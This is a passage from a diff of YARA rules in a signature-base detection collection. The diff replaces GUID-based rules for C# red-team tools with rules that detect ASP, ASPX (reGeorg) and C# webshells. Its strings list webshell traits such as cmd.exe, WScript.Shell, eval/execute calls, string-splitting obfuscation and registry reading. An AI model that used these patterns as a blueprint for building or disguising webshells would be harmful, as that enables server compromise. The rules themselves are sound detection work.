+		(( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and ( any of ($asp_input*) or ($asp_xml_http and any of ($asp_xml_method*)) or ( any of ($asp_form*) and any of ($asp_text*) and $asp_asp)) and not 1 of ($fp*) and not ( uint16(0)==0x5a4d or $dex at 0 or $pack at 0 or uint16(0)==0x4b50) and ( filesize <700 and (( any of ($asp_payload*) or all of ($asp_multi_payload_one*) or all of ($asp_multi_payload_two*) or all of ($asp_multi_payload_three*) or all of ($asp_multi_payload_four*) or all of ($asp_multi_payload_five*)) or ( any of ($asp_always_write*) and ( any of ($asp_write_way_one*) and any of ($asp_cr_write*)) or ( any of ($asp_streamwriter*)))))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Random_Csharptools : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASP_Generic : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "ad8b5573-ad20-50cd-927b-a6401b10e653"
-		date = "2020-12-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/xorrior/Random-CSharpTools"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2781-L2807"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d1d5e372c6e1314ebf317b51633b83b2f9336048cc223982052e078ca86ee6bc"
-		score = 75
-		quality = 85
+		id = "0904cefb-6e0f-5e5f-9986-cf83d409ce46"
+		date = "2021-03-07"
+		modified = "2023-07-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L4404-L4702"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a8c63c418609c1c291b3e731ca85ded4b3e0fba83f3489c21a3199173b176a75"
+		hash = "4cf6fbad0411b7d33e38075f5e00d4c8ae9ce2f6f53967729974d004a183b25c"
+		hash = "a91320483df0178eb3cafea830c1bd94585fc896"
+		hash = "f3398832f697e3db91c3da71a8e775ebf66c7e73"
+		logic_hash = "60764b137f7e62755ab7e0a266661d19e04434bc1c9eb17864bfcab25476afbf"
+		score = 60
+		quality = -276
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "f7fc19da-67a3-437d-b3b0-2a257f77a00b" ascii wide
-		$typelibguid0up = "F7FC19DA-67A3-437D-B3B0-2A257F77A00B" ascii wide
-		$typelibguid1lo = "47e85bb6-9138-4374-8092-0aeb301fe64b" ascii wide
-		$typelibguid1up = "47E85BB6-9138-4374-8092-0AEB301FE64B" ascii wide
-		$typelibguid2lo = "c7d854d8-4e3a-43a6-872f-e0710e5943f7" ascii wide
-		$typelibguid2up = "C7D854D8-4E3A-43A6-872F-E0710E5943F7" ascii wide
-		$typelibguid3lo = "d6685430-8d8d-4e2e-b202-de14efa25211" ascii wide
-		$typelibguid3up = "D6685430-8D8D-4E2E-B202-DE14EFA25211" ascii wide
-		$typelibguid4lo = "1df925fc-9a89-4170-b763-1c735430b7d0" ascii wide
-		$typelibguid4up = "1DF925FC-9A89-4170-B763-1C735430B7D0" ascii wide
-		$typelibguid5lo = "817cc61b-8471-4c1e-b5d6-c754fc550a03" ascii wide
-		$typelibguid5up = "817CC61B-8471-4C1E-B5D6-C754FC550A03" ascii wide
-		$typelibguid6lo = "60116613-c74e-41b9-b80e-35e02f25891e" ascii wide
-		$typelibguid6up = "60116613-C74E-41B9-B80E-35E02F25891E" ascii wide
+		$asp_much_sus7 = "Web Shell" nocase
+		$asp_much_sus8 = "WebShell" nocase
+		$asp_much_sus3 = "hidded shell"
+		$asp_much_sus4 = "WScript.Shell.1" nocase
+		$asp_much_sus5 = "AspExec"
+		$asp_much_sus14 = "\\pcAnywhere\\" nocase
+		$asp_much_sus15 = "antivirus" nocase
+		$asp_much_sus16 = "McAfee" nocase
+		$asp_much_sus17 = "nishang"
+		$asp_much_sus18 = "\"unsafe" fullword wide ascii
+		$asp_much_sus19 = "'unsafe" fullword wide ascii
+		$asp_much_sus28 = "exploit" fullword wide ascii
+		$asp_much_sus30 = "TVqQAAMAAA" wide ascii
+		$asp_much_sus31 = "HACKED" fullword wide ascii
+		$asp_much_sus32 = "hacked" fullword wide ascii
+		$asp_much_sus33 = "hacker" wide ascii
+		$asp_much_sus34 = "grayhat" nocase wide ascii
+		$asp_much_sus35 = "Microsoft FrontPage" wide ascii
+		$asp_much_sus36 = "Rootkit" wide ascii
+		$asp_much_sus37 = "rootkit" wide ascii
+		$asp_much_sus38 = "/*-/*-*/" wide ascii
+		$asp_much_sus39 = "u\"+\"n\"+\"s" wide ascii
+		$asp_much_sus40 = "\"e\"+\"v" wide ascii
+		$asp_much_sus41 = "a\"+\"l\"" wide ascii
+		$asp_much_sus42 = "\"+\"(\"+\"" wide ascii
+		$asp_much_sus43 = "q\"+\"u\"" wide ascii
+		$asp_much_sus44 = "\"u\"+\"e" wide ascii
+		$asp_much_sus45 = "/*//*/" wide ascii
+		$asp_much_sus46 = "(\"/*/\"" wide ascii
+		$asp_much_sus47 = "eval(eval(" wide ascii
+		$asp_much_sus48 = "Shell.Users" wide ascii
+		$asp_much_sus49 = "PasswordType=Regular" wide ascii
+		$asp_much_sus50 = "-Expire=0" wide ascii
+		$asp_much_sus51 = "sh\"&\"el" wide ascii
+		$asp_gen_sus1 = /:\s{0,20}eval}/ nocase wide ascii
+		$asp_gen_sus2 = /\.replace\(\/\w\/g/ nocase wide ascii
+		$asp_gen_sus6 = "self.delete"
+		$asp_gen_sus9 = "\"cmd /c" nocase
+		$asp_gen_sus10 = "\"cmd\"" nocase
+		$asp_gen_sus11 = "\"cmd.exe" nocase
+		$asp_gen_sus12 = "%comspec%" wide ascii
+		$asp_gen_sus13 = "%COMSPEC%" wide ascii
+		$asp_gen_sus18 = "Hklm.GetValueNames();" nocase
+		$asp_gen_sus19 = "http://schemas.microsoft.com/exchange/" wide ascii
+		$asp_gen_sus21 = "\"upload\"" wide ascii
+		$asp_gen_sus22 = "\"Upload\"" wide ascii
+		$asp_gen_sus25 = "shell_" wide ascii
+		$asp_gen_sus29 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" fullword wide ascii
+		$asp_gen_sus30 = "abcdefghijklmnopqrstuvwxyz234567" fullword wide ascii
+		$asp_gen_sus31 = "serv-u" wide ascii
+		$asp_gen_sus32 = "Serv-u" wide ascii
+		$asp_gen_sus33 = "Army" fullword wide ascii
+		$asp_slightly_sus1 = "<pre>" wide ascii
+		$asp_slightly_sus2 = "<PRE>" wide ascii
+		$asp_gen_obf1 = "\"+\"" wide ascii
+		$fp1 = "DataBinder.Eval"
+		$fp2 = "B2BTools"
+		$fp3 = "<b>Failed to execute cache update. See the log file for more information" ascii
+		$fp4 = "Microsoft. All rights reserved."
+		$tagasp_short1 = /<%[^"]/ wide ascii
+		$tagasp_short2 = "%>" wide ascii
+		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+		$tagasp_long10 = "<%@ " wide ascii
+		$tagasp_long11 = /<% \w/ nocase wide ascii
+		$tagasp_long12 = "<%ex" nocase wide ascii
+		$tagasp_long13 = "<%ev" nocase wide ascii
+		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+		$php1 = "<?php"
+		$php2 = "<?="
+		$jsp1 = "=\"java." wide ascii
+		$jsp2 = "=\"javax." wide ascii
+		$jsp3 = "java.lang." wide ascii
+		$jsp4 = "public" fullword wide ascii
+		$jsp5 = "throws" fullword wide ascii
+		$jsp6 = "getValue" fullword wide ascii
+		$jsp7 = "getBytes" fullword wide ascii
+		$perl1 = "PerlScript" fullword
+		$dex = { 64 65 ( 78 | 79 ) 0a 30 }
+		$pack = { 50 41 43 4b 00 00 00 02 00 }
+		$asp_input1 = "request" fullword nocase wide ascii
+		$asp_input2 = "Page_Load" fullword nocase wide ascii
+		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
+		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
+		$asp_xml_method1 = "GET" fullword wide ascii
+		$asp_xml_method2 = "POST" fullword wide ascii
+		$asp_xml_method3 = "HEAD" fullword wide ascii
+		$asp_form1 = "<form " wide ascii
+		$asp_form2 = "<Form " wide ascii
+		$asp_form3 = "<FORM " wide ascii
+		$asp_asp = "<asp:" wide ascii
+		$asp_text1 = ".text" wide ascii
+		$asp_text2 = ".Text" wide ascii
+		$asp_payload0 = "eval_r" fullword nocase wide ascii
+		$asp_payload1 = /\beval\s/ nocase wide ascii
+		$asp_payload2 = /\beval\(/ nocase wide ascii
+		$asp_payload3 = /\beval\"\"/ nocase wide ascii
+		$asp_payload4 = /:\s{0,10}eval\b/ nocase wide ascii
+		$asp_payload8 = /\bexecute\s?\(/ nocase wide ascii
+		$asp_payload9 = /\bexecute\s[\w"]/ nocase wide ascii
+		$asp_payload11 = "WSCRIPT.SHELL" fullword nocase wide ascii
+		$asp_payload13 = "ExecuteGlobal" fullword nocase wide ascii
+		$asp_payload14 = "ExecuteStatement" fullword nocase wide ascii
+		$asp_payload15 = "ExecuteStatement" fullword nocase wide ascii
+		$asp_multi_payload_one1 = "CreateObject" nocase fullword wide ascii
+		$asp_multi_payload_one2 = "addcode" fullword wide ascii
+		$asp_multi_payload_one3 = /\.run\b/ wide ascii
+		$asp_multi_payload_two1 = "CreateInstanceFromVirtualPath" fullword wide ascii
+		$asp_multi_payload_two2 = "ProcessRequest" fullword wide ascii
+		$asp_multi_payload_two3 = "BuildManager" fullword wide ascii
+		$asp_multi_payload_three1 = "System.Diagnostics" wide ascii
+		$asp_multi_payload_three2 = "Process" fullword wide ascii
+		$asp_multi_payload_three3 = "Start" fullword wide ascii
+		$asp_multi_payload_four1 = "CreateObject" fullword nocase wide ascii
+		$asp_multi_payload_four2 = "TransformNode" fullword nocase wide ascii
+		$asp_multi_payload_four3 = "loadxml" fullword nocase wide ascii
+		$asp_multi_payload_five1 = "ProcessStartInfo" fullword nocase wide ascii
+		$asp_multi_payload_five2 = ".Start" nocase wide ascii
+		$asp_multi_payload_five3 = ".Filename" nocase wide ascii
+		$asp_multi_payload_five4 = ".Arguments" nocase wide ascii
+		$asp_always_write1 = /\.write/ nocase wide ascii
+		$asp_always_write2 = /\.swrite/ nocase wide ascii
+		$asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
+		$asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
+		$asp_cr_write1 = "CreateObject(" nocase wide ascii
+		$asp_cr_write2 = "CreateObject (" nocase wide ascii
+		$asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
+		$asp_streamwriter2 = "filestream" fullword nocase wide ascii
+		$tagasp_capa_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+		$tagasp_capa_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_capa_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+		$tagasp_capa_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_capa_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		(( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and not ( uint16(0)==0x5a4d or $dex at 0 or $pack at 0 or uint16(0)==0x4b50) and ( any of ($asp_input*) or ($asp_xml_http and any of ($asp_xml_method*)) or ( any of ($asp_form*) and any of ($asp_text*) and $asp_asp)) and ( any of ($asp_payload*) or all of ($asp_multi_payload_one*) or all of ($asp_multi_payload_two*) or all of ($asp_multi_payload_three*) or all of ($asp_multi_payload_four*) or all of ($asp_multi_payload_five*)) and not any of ($fp*) and (( filesize <3KB and (1 of ($asp_slightly_sus*))) or ( filesize <25KB and (1 of ($asp_much_sus*) or 1 of ($asp_gen_sus*) or (#asp_gen_obf1>2))) or ( filesize <50KB and (1 of ($asp_much_sus*) or 3 of ($asp_gen_sus*) or (#asp_gen_obf1>6))) or ( filesize <150KB and (1 of ($asp_much_sus*) or 4 of ($asp_gen_sus*) or (#asp_gen_obf1>6) or (( any of ($asp_always_write*) and ( any of ($asp_write_way_one*) and any of ($asp_cr_write*)) or ( any of ($asp_streamwriter*))) and (1 of ($asp_much_sus*) or 2 of ($asp_gen_sus*) or (#asp_gen_obf1>3))))) or ( filesize <100KB and ( any of ($tagasp_capa_classid*))))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_CVE_2020_0668 : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASP_Generic_Registry_Reader : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Generic ASP webshell which reads the registry (might look for passwords, license keys, database settings, general recon, ..."
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "54c87578-f0f1-5108-a736-b6acd9624d29"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/RedCursorSecurityConsulting/CVE-2020-0668"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2809-L2823"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b72a5dff34f9674545acccad556204ed65dfdd587aa6a4d1fe542afd91e5a8d5"
-		score = 75
-		quality = 85
+		id = "02d6f95f-1801-5fb0-8ab8-92176cf2fdd7"
+		date = "2021-03-14"
+		modified = "2023-07-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L4704-L4851"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4d53416398a89aef3a39f63338a7c1bf2d3fcda4"
+		hash = "f85cf490d7eb4484b415bea08b7e24742704bdda"
+		hash = "898ebfa1757dcbbecb2afcdab1560d72ae6940de"
+		logic_hash = "515bff52bebaad45481202ff934f8d1cbb79c27ccf47ca811077acacb7a47f13"
+		score = 50
+		quality = -78
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "1b4c5ec1-2845-40fd-a173-62c450f12ea5" ascii wide
-		$typelibguid0up = "1B4C5EC1-2845-40FD-A173-62C450F12EA5" ascii wide
+		$asp_reg2 = "LocalMachine" fullword wide ascii
+		$asp_reg3 = "ClassesRoot" fullword wide ascii
+		$asp_reg4 = "CurrentUser" fullword wide ascii
+		$asp_reg5 = "Users" fullword wide ascii
+		$asp_reg6 = "CurrentConfig" fullword wide ascii
+		$asp_reg7 = "Microsoft.Win32" fullword wide ascii
+		$asp_reg8 = "OpenSubKey" fullword wide ascii
+		$sus1 = "shell" fullword nocase wide ascii
+		$sus2 = "cmd.exe" fullword wide ascii
+		$sus3 = "<form " wide ascii
+		$sus4 = "<table " wide ascii
+		$sus5 = "System.Security.SecurityException" wide ascii
+		$fp1 = "Avira Operations GmbH" wide
+		$tagasp_short1 = /<%[^"]/ wide ascii
+		$tagasp_short2 = "%>" wide ascii
+		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+		$tagasp_long10 = "<%@ " wide ascii
+		$tagasp_long11 = /<% \w/ nocase wide ascii
+		$tagasp_long12 = "<%ex" nocase wide ascii
+		$tagasp_long13 = "<%ev" nocase wide ascii
+		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+		$php1 = "<?php"
+		$php2 = "<?="
+		$jsp1 = "=\"java." wide ascii
+		$jsp2 = "=\"javax." wide ascii
+		$jsp3 = "java.lang." wide ascii
+		$jsp4 = "public" fullword wide ascii
+		$jsp5 = "throws" fullword wide ascii
+		$jsp6 = "getValue" fullword wide ascii
+		$jsp7 = "getBytes" fullword wide ascii
+		$perl1 = "PerlScript" fullword
+		$asp_input1 = "request" fullword nocase wide ascii
+		$asp_input2 = "Page_Load" fullword nocase wide ascii
+		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
+		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
+		$asp_xml_method1 = "GET" fullword wide ascii
+		$asp_xml_method2 = "POST" fullword wide ascii
+		$asp_xml_method3 = "HEAD" fullword wide ascii
+		$asp_form1 = "<form " wide ascii
+		$asp_form2 = "<Form " wide ascii
+		$asp_form3 = "<FORM " wide ascii
+		$asp_asp = "<asp:" wide ascii
+		$asp_text1 = ".text" wide ascii
+		$asp_text2 = ".Text" wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		(( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and all of ($asp_reg*) and any of ($sus*) and not any of ($fp*) and ( filesize <10KB or ( filesize <150KB and ( any of ($asp_input*) or ($asp_xml_http and any of ($asp_xml_method*)) or ( any of ($asp_form*) and any of ($asp_text*) and $asp_asp))))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Windowsrpcclients : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASPX_Regeorg_CSHARP : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Webshell regeorg aspx c# version"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "70fd7431-8c32-52a4-be9f-2a19ef77f2cc"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/tyranid/WindowsRpcClients"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2825-L2851"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a15992e0f24ec7ecec5a42d8996102e60958c441a1926267718531c95c8b7e35"
+		id = "0a53d368-5f1b-55b7-b08f-36b0f8c5612f"
+		date = "2021-01-11"
+		modified = "2023-07-05"
+		reference = "https://github.com/sensepost/reGeorg"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L4853-L4963"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c1f43b7cf46ba12cfc1357b17e4f5af408740af7ae70572c9cf988ac50260ce1"
+		hash = "479c1e1f1c263abe339de8be99806c733da4e8c1"
+		hash = "38a1f1fc4e30c0b4ad6e7f0e1df5a92a7d05020b"
+		hash = "e54f1a3eab740201feda235835fc0aa2e0c44ba9"
+		hash = "aea0999c6e5952ec04bf9ee717469250cddf8a6f"
+		logic_hash = "0c68f5955df2e75c3b5b4f1c6398fd57add1f64bfb3d46ccebf1c6767f5d2eb1"
 		score = 75
-		quality = 85
+		quality = -57
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "843d8862-42eb-49ee-94e6-bca798dd33ea" ascii wide
-		$typelibguid0up = "843D8862-42EB-49EE-94E6-BCA798DD33EA" ascii wide
-		$typelibguid1lo = "632e4c3b-3013-46fc-bc6e-22828bf629e3" ascii wide
-		$typelibguid1up = "632E4C3B-3013-46FC-BC6E-22828BF629E3" ascii wide
-		$typelibguid2lo = "a2091d2f-6f7e-4118-a203-4cea4bea6bfa" ascii wide
-		$typelibguid2up = "A2091D2F-6F7E-4118-A203-4CEA4BEA6BFA" ascii wide
-		$typelibguid3lo = "950ef8ce-ec92-4e02-b122-0d41d83065b8" ascii wide
-		$typelibguid3up = "950EF8CE-EC92-4E02-B122-0D41D83065B8" ascii wide
-		$typelibguid4lo = "d51301bc-31aa-4475-8944-882ecf80e10d" ascii wide
-		$typelibguid4up = "D51301BC-31AA-4475-8944-882ECF80E10D" ascii wide
-		$typelibguid5lo = "823ff111-4de2-4637-af01-4bdc3ca4cf15" ascii wide
-		$typelibguid5up = "823FF111-4DE2-4637-AF01-4BDC3CA4CF15" ascii wide
-		$typelibguid6lo = "5d28f15e-3bb8-4088-abe0-b517b31d4595" ascii wide
-		$typelibguid6up = "5D28F15E-3BB8-4088-ABE0-B517B31D4595" ascii wide
+		$input_sa1 = "Request.QueryString.Get" fullword nocase wide ascii
+		$input_sa2 = "Request.Headers.Get" fullword nocase wide ascii
+		$sa1 = "AddressFamily.InterNetwork" fullword nocase wide ascii
+		$sa2 = "Response.AddHeader" fullword nocase wide ascii
+		$sa3 = "Request.InputStream.Read" nocase wide ascii
+		$sa4 = "Response.BinaryWrite" nocase wide ascii
+		$sa5 = "Socket" nocase wide ascii
+		$georg = "Response.Write(\"Georg says, 'All seems fine'\")"
+		$tagasp_short1 = /<%[^"]/ wide ascii
+		$tagasp_short2 = "%>" wide ascii
+		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+		$tagasp_long10 = "<%@ " wide ascii
+		$tagasp_long11 = /<% \w/ nocase wide ascii
+		$tagasp_long12 = "<%ex" nocase wide ascii
+		$tagasp_long13 = "<%ev" nocase wide ascii
+		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+		$php1 = "<?php"
+		$php2 = "<?="
+		$jsp1 = "=\"java." wide ascii
+		$jsp2 = "=\"javax." wide ascii
+		$jsp3 = "java.lang." wide ascii
+		$jsp4 = "public" fullword wide ascii
+		$jsp5 = "throws" fullword wide ascii
+		$jsp6 = "getValue" fullword wide ascii
+		$jsp7 = "getBytes" fullword wide ascii
+		$perl1 = "PerlScript" fullword
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <300KB and (( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and ($georg or ( all of ($sa*) and any of ($input_sa*)))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpfruit : FILE
+rule SIGNATURE_BASE_WEBSHELL_CSHARP_Generic : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Webshell in c#"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "bf318530-b17d-5275-84b2-c284528bdae6"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/rvrsh3ll/SharpFruit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2853-L2867"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3fffebded16430beae82315532548a4c035f4c9e92a893f441b1d5049d97f73a"
+		id = "6d38a6b0-b1d2-51b0-9239-319f1fea7cae"
+		date = "2021-01-11"
+		modified = "2023-07-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L4965-L5073"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b6721683aadc4b4eba4f081f2bc6bc57adfc0e378f6d80e2bfa0b1e3e57c85c7"
+		hash = "4b365fc9ddc8b247a12f4648cd5c91ee65e33fae"
+		hash = "019eb61a6b5046502808fb5ab2925be65c0539b4"
+		hash = "620ee444517df8e28f95e4046cd7509ac86cd514"
+		hash = "a91320483df0178eb3cafea830c1bd94585fc896"
+		logic_hash = "fb367b79c8ed4a61618594db903cf3d70524685d7710d243163958ecb47634aa"
 		score = 75
-		quality = 85
+		quality = -55
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "3da2f6de-75be-4c9d-8070-08da45e79761" ascii wide
-		$typelibguid0up = "3DA2F6DE-75BE-4C9D-8070-08DA45E79761" ascii wide
+		$input_http = "Request." nocase wide ascii
+		$input_form1 = "<asp:" nocase wide ascii
+		$input_form2 = ".text" nocase wide ascii
+		$exec_proc1 = "new Process" nocase wide ascii
+		$exec_proc2 = "start(" nocase wide ascii
+		$exec_shell1 = "cmd.exe" nocase wide ascii
+		$exec_shell2 = "powershell.exe" nocase wide ascii
+		$tagasp_short1 = /<%[^"]/ wide ascii
+		$tagasp_short2 = "%>" wide ascii
+		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+		$tagasp_long10 = "<%@ " wide ascii
+		$tagasp_long11 = /<% \w/ nocase wide ascii
+		$tagasp_long12 = "<%ex" nocase wide ascii
+		$tagasp_long13 = "<%ev" nocase wide ascii
+		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+		$php1 = "<?php"
+		$php2 = "<?="
+		$jsp1 = "=\"java." wide ascii
+		$jsp2 = "=\"javax." wide ascii
+		$jsp3 = "java.lang." wide ascii
+		$jsp4 = "public" fullword wide ascii
+		$jsp5 = "throws" fullword wide ascii
